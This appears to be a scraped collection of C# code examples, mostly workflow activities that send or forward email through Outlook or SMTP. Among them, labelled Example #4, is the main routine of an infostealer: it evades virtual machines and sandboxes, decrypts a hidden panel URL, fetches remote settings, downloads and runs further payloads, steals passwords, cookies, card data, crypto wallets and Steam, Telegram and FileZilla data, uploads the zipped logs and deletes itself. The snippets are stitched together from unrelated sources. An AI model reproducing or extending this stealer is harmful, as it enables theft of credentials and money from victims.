예제 #1
0
        protected override void Execute(CodeActivityContext context)
        {
            Microsoft.Office.Interop.Outlook.Application outlookApplication = new Microsoft.Office.Interop.Outlook.Application();
            Microsoft.Office.Interop.Outlook.MailItem    email = (Microsoft.Office.Interop.Outlook.MailItem)outlookApplication.CreateItem(Microsoft.Office.Interop.Outlook.OlItemType.olMailItem);

            var    to       = To.Get(context);
            var    cc       = CC.Get(context);
            var    bcc      = BCC.Get(context);
            var    subject  = Subject.Get(context);
            string body     = (Body != null ?Body.Get(context) : null);
            string htmlbody = (HTMLBody != null ? HTMLBody.Get(context) : null);

            if (!string.IsNullOrEmpty(htmlbody))
            {
                body = htmlbody;
            }
            var attachments = Attachments.Get(context);
            var uiaction    = UIAction.Get(context);

            email.BodyFormat = Microsoft.Office.Interop.Outlook.OlBodyFormat.olFormatRichText;
            email.To         = to;
            email.Subject    = subject;
            email.HTMLBody   = body;
            email.CC         = cc;
            email.BCC        = bcc;

            if (attachments != null && attachments.Count() > 0)
            {
                foreach (var attachment in attachments)
                {
                    if (!string.IsNullOrEmpty(attachment))
                    {
                        email.Attachments.Add(attachment, Microsoft.Office.Interop.Outlook.OlAttachmentType.olByValue, 100000, Type.Missing);
                    }
                }
            }
            if (uiaction == "Show")
            {
                email.Display(true);
            }
            //else if(uiaction == "SendVisable")
            //{
            //    email.Display(true);
            //    email.Send();
            //}
            else
            {
                email.Send();
            }
            if (EMail != null)
            {
                EMail.Set(context, new email(email));
            }
        }
            protected override void Execute(CodeActivityContext context)
            {
                String  sTO         = To.Get(context);
                String  sBCC        = BCC.Get(context);
                String  sCC         = CC.Get(context);
                String  sAccount    = Account.Get(context);
                String  sBody       = Body.Get(context);
                String  sSubject    = Subject.Get(context);
                Boolean bisBodyHTML = isBodyHTML;

                String[] arrAttachment = Attachment.Get(context);
                sendOutlookMail(sTO, sCC, sBCC, sBody, sSubject, sAccount, bisBodyHTML, arrAttachment);
            }
            protected override void Execute(CodeActivityContext context)
            {
                String sTO      = To.Get(context);
                String sBCC     = BCC.Get(context);
                String sCC      = CC.Get(context);
                String sAccount = Account.Get(context);
                String sBody    = Body.Get(context);
                String sSubject = Subject.Get(context);

                String[] arrAttachment           = Attachment.Get(context);
                Dictionary <String, String> dict = EmbedImage.Get(context);

                sendOutlookMailImage(sTO, sCC, sBCC, sBody, sSubject, sAccount, arrAttachment, dict);
            }
예제 #4
0
        public static void Main()
        {
            AntiAnalyses.Proc();
            AntiAnalyses.VMDetect();
            AntiAnalyses.SandboxieDetect();

            //   Helpers.AntiSNG();


            string password = "******";

            byte[] url_bytes = StringToByteArray("[URL]");
            byte[] pwd_bytes = Encoding.Default.GetBytes(Encrypt.XOR(password));
            string result_encoded_string_panel = Encoding.Default.GetString(Encrypt.Encrypt_RC4(pwd_bytes, url_bytes));

            byte[] ass = Encoding.Default.GetBytes(result_encoded_string_panel);
            Dirs.WorkDirCreate();
            User.GetCountryByIP(User.IP);
            Dirs.Move();

            var request = WebRequest.Create(Encoding.Default.GetString(Encrypt.Encrypt_RC4(pwd_bytes, ass)));

            using (Stream stream = request.GetResponse().GetResponseStream())
            {
                string   arguments = new StreamReader(stream).ReadToEnd();
                string[] argss     = arguments.Split(',');



                bool Pass_bool    = true;
                bool Steam        = false;
                bool Grabber      = false;
                bool Cookies_bool = false;
                bool History_bool = false;
                bool Telegram     = false;
                bool Loader_bool  = false;
                bool Mutex        = false;
                bool Clear_bool   = false;
                bool ScreenShot   = false;
                bool Crypto       = false;

                if (argss[12] == "1")
                {
                    Mutex = true;
                }

                if (!Mutex)
                {
                    Helpers.MutexCheck();
                }

                if (argss[0] == "1")
                {
                    Pass_bool = true;
                }
                if (argss[1] == "1")
                {
                    Cookies_bool = true;
                }
                if (argss[2] == "1")
                {
                    History_bool = true;
                }
                if (argss[3] == "1")
                {
                    Crypto = true;
                }
                if (argss[4] == "1")
                {
                    Steam = true;
                }
                if (argss[5] == "1")
                {
                    Telegram = true;
                }
                if (argss[6] == "1")
                {
                    ScreenShot = true;
                }
                if (argss[7] == "1")
                {
                    Grabber = true;
                }
                if (argss[10] == "1")
                {
                    Clear_bool = true;
                }
                if (argss[11].StartsWith("http"))
                {
                    Loader_bool = true;
                }

                if (Loader_bool)
                {
                    string URL      = argss[11];
                    string filename = Path.GetFileName(URL);
                    Loader.Run(URL, filename);
                }


                if (Pass_bool)
                {
                    Steal.Passwords();
                    Passwords.GetPasswordsNEW();
                }

                if (History_bool)
                {
                    History.Get();
                }

                if (Loader_bool)
                {
                    string URL      = argss[11];
                    string filename = Path.GetFileName(URL);

                    Loader.Run(URL, filename);
                }

                if (Steam)
                {
                    Grab.Steam();
                }

                if (Telegram)
                {
                    Grab.NewTelegram();
                }

                if (Cookies_bool)
                {
                    Cookies.Get();
                    Steal.Cookies();
                    CC.Get();
                }

                if (Crypto)
                {
                    Grab.DirSearch(Dirs.AppData);
                }

                if (Grabber)
                {
                    string[] extensions = argss[8].Split(':');
                    Grab.extensions.AddRange(extensions.Select(ex => ex));
                    Grab.Weight  = Convert.ToInt32(argss[9]);
                    Grab.Weight *= 1024;

                    Grab.Desktop();
                }

                if (ScreenShot)
                {
                    Grab.ScreenShot();
                }



                Grab.FileZilla();
                Grab.Pidgin();

                User.GetUA();
                Helpers.UADetect();
                Helpers.InfoDetect();
                Helpers.LogDetect();

                User.GetInfo();

                Helpers.Zip();



                string log = @"" + Dirs.Temp + "\\" + User.IP + "_" + User.randomnm + ".zip";

                Post_File.GetInfoForPanel();
                Post_File.HttpUploadFile(Encoding.Default.GetString(Encrypt.Encrypt_RC4(pwd_bytes, ass)), log, "logs", "zip", Post_File.name);


                if (Clear_bool)
                {
                    Helpers.Suicide();
                }
            }

            Helpers.Clear();
            Directory.Delete(Dirs.WorkDir);
        }
        protected override void Execute(CodeActivityContext context)
        {
            MailMessage forwardMail = MailMessage.Get(context);

            if (forwardMail != null)
            {
                string html = ExportMailToHtml(forwardMail);

                string strHeader = "<p>";

                string fMessage = ForwardMessage.Get(context);
                if (!string.IsNullOrEmpty(fMessage))
                {
                    fMessage = TextToHtml(fMessage);
                    Console.WriteLine(fMessage);
                    strHeader = fMessage + "<br>";
                }

                if (ShowOriginalMessage)
                {
                    strHeader  = strHeader + "<br><br>" + "-----Original Message-----" + "<br>";
                    strHeader += "From: " + forwardMail.From.DisplayName + "<br>";
                    strHeader += "Sent: " + forwardMail.Headers["Date"] + "<br>";
                    strHeader += "To: " + forwardMail.To + "<br>";
                    strHeader += "Subject: " + forwardMail.Subject + "<br><br>";
                }

                forwardMail.Subject    = "FW: " + forwardMail.Subject;
                forwardMail.IsBodyHtml = true;
                forwardMail.Body       = strHeader + GetTrimmedBodyText(html) + "</p>";

                string to = To.Get(context);
                if (!string.IsNullOrEmpty(to))
                {
                    to = to.Replace(",", ";");
                    var toSplits = to.Split(';');
                    foreach (var t in toSplits)
                    {
                        forwardMail.To.Add(new MailAddress(t));
                    }
                }

                string cc = CC.Get(context);
                if (!string.IsNullOrEmpty(cc))
                {
                    cc = cc.Replace(",", ";");
                    var ccSplits = cc.Split(';');
                    foreach (var cs in ccSplits)
                    {
                        forwardMail.CC.Add(new MailAddress(cs));
                    }
                }

                string bcc = BCC.Get(context);
                if (!string.IsNullOrEmpty(bcc))
                {
                    bcc = bcc.Replace(",", ";");
                    var bccSplits = bcc.Split(';');
                    foreach (var b in bccSplits)
                    {
                        forwardMail.Bcc.Add(new MailAddress(b));
                    }
                }

                this.ForwardMail.Set(context, forwardMail);
            }
            else
            {
                Console.WriteLine("No Mail Message Found");
            }
        }